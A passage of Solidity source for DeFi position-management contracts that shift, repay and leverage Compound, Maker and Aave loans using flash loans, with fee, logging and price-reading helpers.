Protocols.COMPOUND) { ICompoundSubscriptions(COMPOUND_SUB_ADDRESS).unsubscribe(); } } function _packData( LoanShiftData memory _loanShift, SaverExchangeCore.ExchangeData memory exchangeData ) internal pure returns (uint[8] memory numData, address[8] memory addrData, uint8[3] memory enumData, bytes memory callData) { numData = [ _loanShift.collAmount, _loanShift.debtAmount, _loanShift.id1, _loanShift.id2, exchangeData.srcAmount, exchangeData.destAmount, exchangeData.minPrice, exchangeData.price0x ]; addrData = [ _loanShift.addrLoan1, _loanShift.addrLoan2, _loanShift.debtAddr1, _loanShift.debtAddr2, exchangeData.srcAddr, exchangeData.destAddr, exchangeData.exchangeAddr, exchangeData.wrapper ]; enumData = [ uint8(_loanShift.fromProtocol), uint8(_loanShift.toProtocol), uint8(_loanShift.swapType) ]; callData = exchangeData.callData; } } contract CompShifter is CompoundSaverHelper { using SafeERC20 for ERC20; address public constant COMPTROLLER_ADDR = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B; function getLoanAmount(uint _cdpId, address _joinAddr) public returns(uint loanAmount) { return getWholeDebt(_cdpId, _joinAddr); } function getWholeDebt(uint _cdpId, address _joinAddr) public returns(uint loanAmount) { return CTokenInterface(_joinAddr).borrowBalanceCurrent(msg.sender); } function close( address _cCollAddr, address _cBorrowAddr, uint _collAmount, uint _debtAmount ) public { address collAddr = getUnderlyingAddr(_cCollAddr); // payback debt paybackDebt(_debtAmount, _cBorrowAddr, getUnderlyingAddr(_cBorrowAddr), tx.origin); require(CTokenInterface(_cCollAddr).redeemUnderlying(_collAmount) == 0); // Send back money to repay FL if (collAddr == ETH_ADDRESS) { msg.sender.transfer(address(this).balance); } else { ERC20(collAddr).safeTransfer(msg.sender, ERC20(collAddr).balanceOf(address(this))); } } function changeDebt( address _cBorrowAddrOld, address _cBorrowAddrNew, uint _debtAmountOld, uint _debtAmountNew ) public { address borrowAddrNew = getUnderlyingAddr(_cBorrowAddrNew); // payback debt in one token paybackDebt(_debtAmountOld, _cBorrowAddrOld, getUnderlyingAddr(_cBorrowAddrOld), tx.origin); // draw debt in another one borrowCompound(_cBorrowAddrNew, _debtAmountNew); // Send back money to repay FL if (borrowAddrNew == ETH_ADDRESS) { msg.sender.transfer(address(this).balance); } else { ERC20(borrowAddrNew).safeTransfer(msg.sender, ERC20(borrowAddrNew).balanceOf(address(this))); } } function open( address _cCollAddr, address _cBorrowAddr, uint _debtAmount ) public { address collAddr = getUnderlyingAddr(_cCollAddr); address borrowAddr = getUnderlyingAddr(_cBorrowAddr); uint collAmount = 0; if (collAddr == ETH_ADDRESS) { collAmount = address(this).balance; } else { collAmount = ERC20(collAddr).balanceOf(address(this)); } depositCompound(collAddr, _cCollAddr, collAmount); // draw debt borrowCompound(_cBorrowAddr, _debtAmount); // Send back money to repay FL if (borrowAddr == ETH_ADDRESS) { msg.sender.transfer(address(this).balance); } else { ERC20(borrowAddr).safeTransfer(msg.sender, ERC20(borrowAddr).balanceOf(address(this))); } } function repayAll(address _cTokenAddr) public { address tokenAddr = getUnderlyingAddr(_cTokenAddr); uint amount = ERC20(tokenAddr).balanceOf(address(this)); if (amount != 0) { paybackDebt(amount, _cTokenAddr, tokenAddr, tx.origin); } } function depositCompound(address _tokenAddr, address _cTokenAddr, uint _amount) internal { approveCToken(_tokenAddr, _cTokenAddr); enterMarket(_cTokenAddr); if (_tokenAddr != ETH_ADDRESS) { require(CTokenInterface(_cTokenAddr).mint(_amount) == 0, "mint error"); } else { CEtherInterface(_cTokenAddr).mint{value: _amount}(); } } function borrowCompound(address _cTokenAddr, uint _amount) internal { enterMarket(_cTokenAddr); require(CTokenInterface(_cTokenAddr).borrow(_amount) == 0); } function enterMarket(address _cTokenAddr) public { address[] memory markets = new address[](1); markets[0] = _cTokenAddr; ComptrollerInterface(COMPTROLLER_ADDR).enterMarkets(markets); } } contract McdShifter is MCDSaverProxy { using SafeERC20 for ERC20; address public constant OPEN_PROXY_ACTIONS = 0x6d0984E80a86f26c0dd564ca0CF74a8E9Da03305; function getLoanAmount(uint _cdpId, address _joinAddr) public view virtual returns(uint loanAmount) { bytes32 ilk = manager.ilks(_cdpId); (, uint rate,,,) = vat.ilks(ilk); (, uint art) = vat.urns(ilk, manager.urns(_cdpId)); uint dai = vat.dai(manager.urns(_cdpId)); uint rad = sub(mul(art, rate), dai); loanAmount = rad / RAY; loanAmount = mul(loanAmount, RAY) < rad ? loanAmount + 1 : loanAmount; } function close( uint _cdpId, address _joinAddr, uint _loanAmount, uint _collateral ) public { address owner = getOwner(manager, _cdpId); bytes32 ilk = manager.ilks(_cdpId); (uint maxColl, ) = getCdpInfo(manager, _cdpId, ilk); // repay dai debt cdp paybackDebt(_cdpId, ilk, _loanAmount, owner); maxColl = _collateral > maxColl ? maxColl : _collateral; // withdraw collateral from cdp drawCollateral(_cdpId, _joinAddr, maxColl); // send back to msg.sender if (isEthJoinAddr(_joinAddr)) { msg.sender.transfer(address(this).balance); } else { ERC20 collToken = ERC20(getCollateralAddr(_joinAddr)); collToken.safeTransfer(msg.sender, collToken.balanceOf(address(this))); } } function open( uint _cdpId, address _joinAddr, uint _debtAmount ) public { uint collAmount = 0; if (isEthJoinAddr(_joinAddr)) { collAmount = address(this).balance; } else { collAmount = ERC20(address(Join(_joinAddr).gem())).balanceOf(address(this)); } if (_cdpId == 0) { openAndWithdraw(collAmount, _debtAmount, address(this), _joinAddr); } else { // add collateral addCollateral(_cdpId, _joinAddr, collAmount); // draw debt drawDai(_cdpId, manager.ilks(_cdpId), _debtAmount); } // transfer to repay FL ERC20(DAI_ADDRESS).transfer(msg.sender, ERC20(DAI_ADDRESS).balanceOf(address(this))); if (address(this).balance > 0) { tx.origin.transfer(address(this).balance); } } function openAndWithdraw(uint _collAmount, uint _debtAmount, address _proxy, address _joinAddrTo) internal { bytes32 ilk = Join(_joinAddrTo).ilk(); if (isEthJoinAddr(_joinAddrTo)) { MCDCreateProxyActions(OPEN_PROXY_ACTIONS).openLockETHAndDraw{value: address(this).balance}( address(manager), JUG_ADDRESS, _joinAddrTo, DAI_JOIN_ADDRESS, ilk, _debtAmount, _proxy ); } else { ERC20(getCollateralAddr(_joinAddrTo)).approve(OPEN_PROXY_ACTIONS, uint256(-1)); MCDCreateProxyActions(OPEN_PROXY_ACTIONS).openLockGemAndDraw( address(manager), JUG_ADDRESS, _joinAddrTo, DAI_JOIN_ADDRESS, ilk, _collAmount, _debtAmount, true, _proxy ); } } } contract AaveSaverProxy is GasBurner, SaverExchangeCore, AaveHelper { address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; uint public constant VARIABLE_RATE = 2; function repay(ExchangeData memory _data, uint _gasCost) public payable burnGas(20) { address lendingPoolCore = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); address payable user = payable(getUserAddress()); // redeem collateral address aTokenCollateral = ILendingPool(lendingPoolCore).getReserveATokenAddress(_data.srcAddr); // uint256 maxCollateral = IAToken(aTokenCollateral).balanceOf(address(this)); // don't swap more than maxCollateral // _data.srcAmount = _data.srcAmount > maxCollateral ? maxCollateral : _data.srcAmount; IAToken(aTokenCollateral).redeem(_data.srcAmount); uint256 destAmount = _data.srcAmount; if (_data.srcAddr != _data.destAddr) { // swap (, destAmount) = _sell(_data); destAmount -= getFee(destAmount, user, _gasCost, _data.destAddr); } else { destAmount -= getGasCost(destAmount, user, _gasCost, _data.destAddr); } // payback if (_data.destAddr == ETH_ADDR) { ILendingPool(lendingPool).repay{value: destAmount}(_data.destAddr, destAmount, payable(address(this))); } else { approveToken(_data.destAddr, lendingPoolCore); ILendingPool(lendingPool).repay(_data.destAddr, destAmount, payable(address(this))); } // first return 0x fee to msg.sender as it is the address that actually sent 0x fee sendContractBalance(ETH_ADDR, tx.origin, min(address(this).balance, msg.value)); // send all leftovers from dest addr to proxy owner sendFullContractBalance(_data.destAddr, user); DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "AaveRepay", abi.encode(_data.srcAddr, _data.destAddr, _data.srcAmount, destAmount)); } function boost(ExchangeData memory _data, uint _gasCost) public payable burnGas(20) { address lendingPoolCore = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); (,,,uint256 borrowRateMode,,,,,,bool collateralEnabled) = ILendingPool(lendingPool).getUserReserveData(_data.destAddr, address(this)); address payable user = payable(getUserAddress()); // skipping this check as its too expensive // uint256 maxBorrow = getMaxBoost(_data.srcAddr, _data.destAddr, address(this)); // _data.srcAmount = _data.srcAmount > maxBorrow ? maxBorrow : _data.srcAmount; // borrow amount ILendingPool(lendingPool).borrow(_data.srcAddr, _data.srcAmount, borrowRateMode == 0 ? VARIABLE_RATE : borrowRateMode, AAVE_REFERRAL_CODE); uint256 destAmount; if (_data.destAddr != _data.srcAddr) { _data.srcAmount -= getFee(_data.srcAmount, user, _gasCost, _data.srcAddr); // swap (, destAmount) = _sell(_data); } else { _data.srcAmount -= getGasCost(_data.srcAmount, user, _gasCost, _data.srcAddr); destAmount = _data.srcAmount; } if (_data.destAddr == ETH_ADDR) { ILendingPool(lendingPool).deposit{value: destAmount}(_data.destAddr, destAmount, AAVE_REFERRAL_CODE); } else { approveToken(_data.destAddr, lendingPoolCore); ILendingPool(lendingPool).deposit(_data.destAddr, destAmount, AAVE_REFERRAL_CODE); } if (!collateralEnabled) { ILendingPool(lendingPool).setUserUseReserveAsCollateral(_data.destAddr, true); } // returning to msg.sender as it is the address that actually sent 0x fee sendContractBalance(ETH_ADDR, tx.origin, min(address(this).balance, msg.value)); // send all leftovers from dest addr to proxy owner sendFullContractBalance(_data.destAddr, user); DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "AaveBoost", abi.encode(_data.srcAddr, _data.destAddr, _data.srcAmount, destAmount)); } } contract AaveSaverReceiver is AaveHelper, AdminAuth, SaverExchangeCore { using SafeERC20 for ERC20; address public constant AAVE_SAVER_PROXY = 0xCab7ce9148499E0dD8228c3c8cDb9B56Ac2bb57a; address public constant AAVE_BASIC_PROXY = 0xd042D4E9B4186c545648c7FfFe87125c976D110B; address public constant AETH_ADDRESS = 0x3a3A65aAb0dd2A17E3F1947bA16138cd37d08c04; function callFunction( address sender, Account.Info memory account, bytes memory data ) public { ( bytes memory exchangeDataBytes, uint256 gasCost, bool isRepay, uint256 ethAmount, uint256 txValue, address user, address proxy ) = abi.decode(data, (bytes,uint256,bool,uint256,uint256,address,address)); // withdraw eth TokenInterface(WETH_ADDRESS).withdraw(ethAmount); address lendingPoolCoreAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); // deposit eth on behalf of proxy DSProxy(payable(proxy)).execute{value: ethAmount}(AAVE_BASIC_PROXY, abi.encodeWithSignature("deposit(address,uint256)", ETH_ADDR, ethAmount)); bytes memory functionData = packFunctionCall(exchangeDataBytes, gasCost, isRepay); DSProxy(payable(proxy)).execute{value: txValue}(AAVE_SAVER_PROXY, functionData); // withdraw deposited eth DSProxy(payable(proxy)).execute(AAVE_BASIC_PROXY, abi.encodeWithSignature("withdraw(address,address,uint256,bool)", ETH_ADDR, AETH_ADDRESS, ethAmount, false)); // deposit eth, get weth and return to sender TokenInterface(WETH_ADDRESS).deposit.value(address(this).balance)(); ERC20(WETH_ADDRESS).safeTransfer(proxy, ethAmount+2); } function packFunctionCall(bytes memory _exchangeDataBytes, uint256 _gasCost, bool _isRepay) internal returns (bytes memory) { ExchangeData memory exData = unpackExchangeData(_exchangeDataBytes); bytes memory functionData; if (_isRepay) { functionData = abi.encodeWithSignature("repay((address,address,uint256,uint256,uint256,address,address,bytes,uint256),uint256)", exData, _gasCost); } else { functionData = abi.encodeWithSignature("boost((address,address,uint256,uint256,uint256,address,address,bytes,uint256),uint256)", exData, _gasCost); } return functionData; } /// @dev if contract receive eth, convert it to WETH receive() external override payable { // deposit eth and get weth if (msg.sender == owner) { TokenInterface(WETH_ADDRESS).deposit.value(address(this).balance)(); } } } contract AaveSaverTaker is DydxFlashLoanBase, ProxyPermission, GasBurner, SaverExchangeCore { address public constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address payable public constant AAVE_RECEIVER = 0x969DfE84ac318531f13B731c7f21af9918802B94; address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; address public constant PROXY_REGISTRY_ADDRESS = 0x4678f0a6958e4D2Bc4F1BAF7Bc52E8F3564f3fE4; function repay(ExchangeData memory _data, uint256 _gasCost) public payable { _flashLoan(_data, _gasCost, true); } function boost(ExchangeData memory _data, uint256 _gasCost) public payable { _flashLoan(_data, _gasCost, false); } /// @notice Starts the process to move users position 1 collateral and 1 borrow /// @dev User must send 2 wei with this transaction function _flashLoan(ExchangeData memory _data, uint _gasCost, bool _isRepay) internal { ISoloMargin solo = ISoloMargin(SOLO_MARGIN_ADDRESS); uint256 ethAmount = ERC20(WETH_ADDR).balanceOf(SOLO_MARGIN_ADDRESS); // Get marketId from token address uint256 marketId = _getMarketIdFromTokenAddress(WETH_ADDR); // Calculate repay amount (_amount + (2 wei)) // Approve transfer from uint256 repayAmount = _getRepaymentAmountInternal(ethAmount); ERC20(WETH_ADDR).approve(SOLO_MARGIN_ADDRESS, repayAmount); Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3); operations[0] = _getWithdrawAction(marketId, ethAmount, AAVE_RECEIVER); AAVE_RECEIVER.transfer(msg.value); bytes memory encodedData = packExchangeData(_data); operations[1] = _getCallAction( abi.encode(encodedData, _gasCost, _isRepay, ethAmount, msg.value, proxyOwner(), address(this)), AAVE_RECEIVER ); operations[2] = _getDepositAction(marketId, repayAmount, address(this)); Account.Info[] memory accountInfos = new Account.Info[](1); accountInfos[0] = _getAccountInfo(); givePermission(AAVE_RECEIVER); solo.operate(accountInfos, operations); removePermission(AAVE_RECEIVER); } } contract CompoundLoanInfo is CompoundSafetyRatio { struct LoanData { address user; uint128 ratio; address[] collAddr; address[] borrowAddr; uint[] collAmounts; uint[] borrowAmounts; } struct TokenInfo { address cTokenAddress; address underlyingTokenAddress; uint collateralFactor; uint price; } struct TokenInfoFull { address underlyingTokenAddress; uint supplyRate; uint borrowRate; uint exchangeRate; uint marketLiquidity; uint totalSupply; uint totalBorrow; uint collateralFactor; uint price; } address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant CETH_ADDRESS = 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5; /// @notice Calcualted the ratio of coll/debt for a compound user /// @param _user Address of the user function getRatio(address _user) public view returns (uint) { // For each asset the account is in return getSafetyRatio(_user); } /// @notice Fetches Compound prices for tokens /// @param _cTokens Arr. of cTokens for which to get the prices /// @return prices Array of prices function getPrices(address[] memory _cTokens) public view returns (uint[] memory prices) { prices = new uint[](_cTokens.length); address oracleAddr = comp.oracle(); for (uint i = 0; i < _cTokens.length; ++i) { prices[i] = CompoundOracleInterface(oracleAddr).getUnderlyingPrice(_cTokens[i]); } } /// @notice Fetches Compound collateral factors for tokens /// @param _cTokens Arr. of cTokens for which to get the coll. factors /// @return collFactors Array of coll. factors function getCollFactors(address[] memory _cTokens) public view returns (uint[] memory collFactors) { collFactors = new uint[](_cTokens.length); for (uint i = 0; i < _cTokens.length; ++i) { (, collFactors[i]) = comp.markets(_cTokens[i]); } } /// @notice Fetches all the collateral/debt address and amounts, denominated in usd /// @param _user Address of the user /// @return data LoanData information function getLoanData(address _user) public view returns (LoanData memory data) { address[] memory assets = comp.getAssetsIn(_user); address oracleAddr = comp.oracle(); data = LoanData({ user: _user, ratio: 0, collAddr: new address[](assets.length), borrowAddr: new address[](assets.length), collAmounts: new uint[](assets.length), borrowAmounts: new uint[](assets.length) }); uint collPos = 0; uint borrowPos = 0; for (uint i = 0; i < assets.length; i++) { address asset = assets[i]; (, uint cTokenBalance, uint borrowBalance, uint exchangeRateMantissa) = CTokenInterface(asset).getAccountSnapshot(_user); Exp memory oraclePrice; if (cTokenBalance != 0 || borrowBalance != 0) { oraclePrice = Exp({mantissa: CompoundOracleInterface(oracleAddr).getUnderlyingPrice(asset)}); } // Sum up collateral in Usd if (cTokenBalance != 0) { Exp memory exchangeRate = Exp({mantissa: exchangeRateMantissa}); (, Exp memory tokensToUsd) = mulExp(exchangeRate, oraclePrice); data.collAddr[collPos] = asset; (, data.collAmounts[collPos]) = mulScalarTruncate(tokensToUsd, cTokenBalance); collPos++; } // Sum up debt in Usd if (borrowBalance != 0) { data.borrowAddr[borrowPos] = asset; (, data.borrowAmounts[borrowPos]) = mulScalarTruncate(oraclePrice, borrowBalance); borrowPos++; } } data.ratio = uint128(getSafetyRatio(_user)); return data; } function getTokenBalances(address _user, address[] memory _cTokens) public view returns (uint[] memory balances, uint[] memory borrows) { balances = new uint[](_cTokens.length); borrows = new uint[](_cTokens.length); for (uint i = 0; i < _cTokens.length; i++) { address asset = _cTokens[i]; (, uint cTokenBalance, uint borrowBalance, uint exchangeRateMantissa) = CTokenInterface(asset).getAccountSnapshot(_user); Exp memory exchangeRate = Exp({mantissa: exchangeRateMantissa}); (, balances[i]) = mulScalarTruncate(exchangeRate, cTokenBalance); borrows[i] = borrowBalance; } } /// @notice Fetches all the collateral/debt address and amounts, denominated in usd /// @param _users Addresses of the user /// @return loans Array of LoanData information function getLoanDataArr(address[] memory _users) public view returns (LoanData[] memory loans) { loans = new LoanData[](_users.length); for (uint i = 0; i < _users.length; ++i) { loans[i] = getLoanData(_users[i]); } } /// @notice Calcualted the ratio of coll/debt for a compound user /// @param _users Addresses of the user /// @return ratios Array of ratios function getRatios(address[] memory _users) public view returns (uint[] memory ratios) { ratios = new uint[](_users.length); for (uint i = 0; i < _users.length; ++i) { ratios[i] = getSafetyRatio(_users[i]); } } /// @notice Information about cTokens /// @param _cTokenAddresses Array of cTokens addresses /// @return tokens Array of cTokens infomartion function getTokensInfo(address[] memory _cTokenAddresses) public returns(TokenInfo[] memory tokens) { tokens = new TokenInfo[](_cTokenAddresses.length); address oracleAddr = comp.oracle(); for (uint i = 0; i < _cTokenAddresses.length; ++i) { (, uint collFactor) = comp.markets(_cTokenAddresses[i]); tokens[i] = TokenInfo({ cTokenAddress: _cTokenAddresses[i], underlyingTokenAddress: getUnderlyingAddr(_cTokenAddresses[i]), collateralFactor: collFactor, price: CompoundOracleInterface(oracleAddr).getUnderlyingPrice(_cTokenAddresses[i]) }); } } /// @notice Information about cTokens /// @param _cTokenAddresses Array of cTokens addresses /// @return tokens Array of cTokens infomartion function getFullTokensInfo(address[] memory _cTokenAddresses) public returns(TokenInfoFull[] memory tokens) { tokens = new TokenInfoFull[](_cTokenAddresses.length); address oracleAddr = comp.oracle(); for (uint i = 0; i < _cTokenAddresses.length; ++i) { (, uint collFactor) = comp.markets(_cTokenAddresses[i]); CTokenInterface cToken = CTokenInterface(_cTokenAddresses[i]); tokens[i] = TokenInfoFull({ underlyingTokenAddress: getUnderlyingAddr(_cTokenAddresses[i]), supplyRate: cToken.supplyRatePerBlock(), borrowRate: cToken.borrowRatePerBlock(), exchangeRate: cToken.exchangeRateCurrent(), marketLiquidity: cToken.getCash(), totalSupply: cToken.totalSupply(), totalBorrow: cToken.totalBorrowsCurrent(), collateralFactor: collFactor, price: CompoundOracleInterface(oracleAddr).getUnderlyingPrice(_cTokenAddresses[i]) }); } } /// @notice Returns the underlying address of the cToken asset /// @param _cTokenAddress cToken address /// @return Token address of the cToken specified function getUnderlyingAddr(address _cTokenAddress) internal returns (address) { if (_cTokenAddress == CETH_ADDRESS) { return ETH_ADDRESS; } else { return CTokenInterface(_cTokenAddress).underlying(); } } } contract CompLeverage is DFSExchangeCore, CompBalance { address public constant C_COMP_ADDR = 0x70e36f6BF80a52b3B46b3aF8e106CC0ed743E8e4; address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant CETH_ADDRESS = 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5; address payable public constant WALLET_ADDR = 0x322d58b9E75a6918f7e7849AEe0fF09369977e08; address public constant DISCOUNT_ADDR = 0x1b14E8D511c9A4395425314f849bD737BAF8208F; address public constant COMPTROLLER_ADDR = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B; address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126); /// @notice Should claim COMP and sell it to the specified token and deposit it back /// @param exchangeData Standard Exchange struct /// @param _cTokensSupply List of cTokens user is supplying /// @param _cTokensBorrow List of cTokens user is borrowing /// @param _cDepositAddr The cToken address of the asset you want to deposit /// @param _inMarket Flag if the cToken is used as collateral function claimAndSell( ExchangeData memory exchangeData, address[] memory _cTokensSupply, address[] memory _cTokensBorrow, address _cDepositAddr, bool _inMarket ) public payable { // Claim COMP token _claim(address(this), _cTokensSupply, _cTokensBorrow); uint compBalance = ERC20(COMP_ADDR).balanceOf(address(this)); uint depositAmount = 0; // Exchange COMP if (exchangeData.srcAddr != address(0)) { exchangeData.dfsFeeDivider = 400; // 0.25% exchangeData.srcAmount = compBalance; (, depositAmount) = _sell(exchangeData); // if we have no deposit after, send back tokens to the user if (_cDepositAddr == address(0)) { if (exchangeData.destAddr != ETH_ADDRESS) { ERC20(exchangeData.destAddr).safeTransfer(msg.sender, depositAmount); } else { msg.sender.transfer(address(this).balance); } } } // Deposit back a token if (_cDepositAddr != address(0)) { // if we are just depositing COMP without a swap if (_cDepositAddr == C_COMP_ADDR) { depositAmount = compBalance; } address tokenAddr = getUnderlyingAddr(_cDepositAddr); deposit(tokenAddr, _cDepositAddr, depositAmount, _inMarket); } logger.Log(address(this), msg.sender, "CompLeverage", abi.encode(compBalance, depositAmount, _cDepositAddr, exchangeData.destAmount)); } function getUnderlyingAddr(address _cTokenAddress) internal returns (address) { if (_cTokenAddress == CETH_ADDRESS) { return ETH_ADDRESS; } else { return CTokenInterface(_cTokenAddress).underlying(); } } function deposit(address _tokenAddr, address _cTokenAddr, uint _amount, bool _inMarket) public burnGas(5) payable { approveToken(_tokenAddr, _cTokenAddr); if (!_inMarket) { enterMarket(_cTokenAddr); } if (_tokenAddr != ETH_ADDRESS) { require(CTokenInterface(_cTokenAddr).mint(_amount) == 0); } else { CEtherInterface(_cTokenAddr).mint{value: msg.value}(); // reverts on fail } } function enterMarket(address _cTokenAddr) public { address[] memory markets = new address[](1); markets[0] = _cTokenAddr; ComptrollerInterface(COMPTROLLER_ADDR).enterMarkets(markets); } function approveToken(address _tokenAddr, address _cTokenAddr) internal { if (_tokenAddr != ETH_ADDRESS) { ERC20(_tokenAddr).safeApprove(_cTokenAddr, uint(-1)); } } } contract CompoundCreateReceiver is FlashLoanReceiverBase, SaverExchangeCore { ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); ShifterRegistry public constant shifterRegistry = ShifterRegistry(0x2E82103bD91053C781aaF39da17aE58ceE39d0ab); address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address payable public constant WALLET_ADDR = 0x322d58b9E75a6918f7e7849AEe0fF09369977e08; address public constant DISCOUNT_ADDR = 0x1b14E8D511c9A4395425314f849bD737BAF8208F; // solhint-disable-next-line no-empty-blocks constructor() public FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER) {} struct CompCreateData { address payable proxyAddr; bytes proxyData; address cCollAddr; address cDebtAddr; } /// @notice Called by Aave when sending back the FL amount /// @param _reserve The address of the borrowed token /// @param _amount Amount of FL tokens received /// @param _fee FL Aave fee /// @param _params The params that are sent from the original FL caller contract function executeOperation( address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external override { // Format the call data for DSProxy (CompCreateData memory compCreate, ExchangeData memory exchangeData) = packFunctionCall(_amount, _fee, _params); address leveragedAsset = _reserve; // If the assets are different if (compCreate.cCollAddr != compCreate.cDebtAddr) { (, uint sellAmount) = _sell(exchangeData); getFee(sellAmount, exchangeData.destAddr, compCreate.proxyAddr); leveragedAsset = exchangeData.destAddr; } // Send amount to DSProxy sendToProxy(compCreate.proxyAddr, leveragedAsset); address compOpenProxy = shifterRegistry.getAddr("COMP_SHIFTER"); // Execute the DSProxy call DSProxyInterface(compCreate.proxyAddr).execute(compOpenProxy, compCreate.proxyData); // Repay the loan with the money DSProxy sent back transferFundsBackToPoolInternal(_reserve, _amount.add(_fee)); // if there is some eth left (0x fee), return it to user if (address(this).balance > 0) { // solhint-disable-next-line avoid-tx-origin tx.origin.transfer(address(this).balance); } } /// @notice Formats function data call so we can call it through DSProxy /// @param _amount Amount of FL /// @param _fee Fee of the FL /// @param _params Saver proxy params function packFunctionCall(uint _amount, uint _fee, bytes memory _params) internal pure returns (CompCreateData memory compCreate, ExchangeData memory exchangeData) { ( uint[4] memory numData, // srcAmount, destAmount, minPrice, price0x address[6] memory cAddresses, // cCollAddr, cDebtAddr, srcAddr, destAddr, exchangeAddr, wrapper bytes memory callData, address proxy ) = abi.decode(_params, (uint256[4],address[6],bytes,address)); bytes memory proxyData = abi.encodeWithSignature( "open(address,address,uint256)", cAddresses[0], cAddresses[1], (_amount + _fee)); exchangeData = SaverExchangeCore.ExchangeData({ srcAddr: cAddresses[2], destAddr: cAddresses[3], srcAmount: numData[0], destAmount: numData[1], minPrice: numData[2], wrapper: cAddresses[5], exchangeAddr: cAddresses[4], callData: callData, price0x: numData[3] }); compCreate = CompCreateData({ proxyAddr: payable(proxy), proxyData: proxyData, cCollAddr: cAddresses[0], cDebtAddr: cAddresses[1] }); return (compCreate, exchangeData); } /// @notice Send the FL funds received to DSProxy /// @param _proxy DSProxy address /// @param _reserve Token address function sendToProxy(address payable _proxy, address _reserve) internal { if (_reserve != ETH_ADDRESS) { ERC20(_reserve).safeTransfer(_proxy, ERC20(_reserve).balanceOf(address(this))); } else { _proxy.transfer(address(this).balance); } } function getFee(uint _amount, address _tokenAddr, address _proxy) internal returns (uint feeAmount) { uint fee = 400; DSProxy proxy = DSProxy(payable(_proxy)); address user = proxy.owner(); if (Discount(DISCOUNT_ADDR).isCustomFeeSet(user)) { fee = Discount(DISCOUNT_ADDR).getCustomServiceFee(user); } feeAmount = (fee == 0) ? 0 : (_amount / fee); // fee can't go over 20% of the whole amount if (feeAmount > (_amount / 5)) { feeAmount = _amount / 5; } if (_tokenAddr == ETH_ADDRESS) { WALLET_ADDR.transfer(feeAmount); } else { ERC20(_tokenAddr).safeTransfer(WALLET_ADDR, feeAmount); } } // solhint-disable-next-line no-empty-blocks receive() external override(FlashLoanReceiverBase, SaverExchangeCore) payable {} } contract CompoundSaverFlashLoan is FlashLoanReceiverBase, SaverExchangeCore { ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); address payable public COMPOUND_SAVER_FLASH_PROXY = 0xcEAb38B5C88F33Dabe4D31BDD384E08215526632; address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public owner; using SafeERC20 for ERC20; constructor() FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER) public { owner = msg.sender; } /// @notice Called by Aave when sending back the FL amount /// @param _reserve The address of the borrowed token /// @param _amount Amount of FL tokens received /// @param _fee FL Aave fee /// @param _params The params that are sent from the original FL caller contract function executeOperation( address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external override { // Format the call data for DSProxy (bytes memory proxyData, address payable proxyAddr) = packFunctionCall(_amount, _fee, _params); // Send Flash loan amount to DSProxy sendLoanToProxy(proxyAddr, _reserve, _amount); // Execute the DSProxy call DSProxyInterface(proxyAddr).execute(COMPOUND_SAVER_FLASH_PROXY, proxyData); // Repay the loan with the money DSProxy sent back transferFundsBackToPoolInternal(_reserve, _amount.add(_fee)); // if there is some eth left (0x fee), return it to user if (address(this).balance > 0) { tx.origin.transfer(address(this).balance); } } /// @notice Formats function data call so we can call it through DSProxy /// @param _amount Amount of FL /// @param _fee Fee of the FL /// @param _params Saver proxy params /// @return proxyData Formated function call data function packFunctionCall(uint _amount, uint _fee, bytes memory _params) internal pure returns (bytes memory proxyData, address payable) { ( bytes memory exDataBytes, address[2] memory cAddresses, // cCollAddress, cBorrowAddress uint256 gasCost, bool isRepay, address payable proxyAddr ) = abi.decode(_params, (bytes,address[2],uint256,bool,address)); ExchangeData memory _exData = unpackExchangeData(exDataBytes); uint[2] memory flashLoanData = [_amount, _fee]; if (isRepay) { proxyData = abi.encodeWithSignature("flashRepay((address,address,uint256,uint256,uint256,address,address,bytes,uint256),address[2],uint256,uint256[2])", _exData, cAddresses, gasCost, flashLoanData); } else { proxyData = abi.encodeWithSignature("flashBoost((address,address,uint256,uint256,uint256,address,address,bytes,uint256),address[2],uint256,uint256[2])", _exData, cAddresses, gasCost, flashLoanData); } return (proxyData, proxyAddr); } /// @notice Send the FL funds received to DSProxy /// @param _proxy DSProxy address /// @param _reserve Token address /// @param _amount Amount of tokens function sendLoanToProxy(address payable _proxy, address _reserve, uint _amount) internal { if (_reserve != 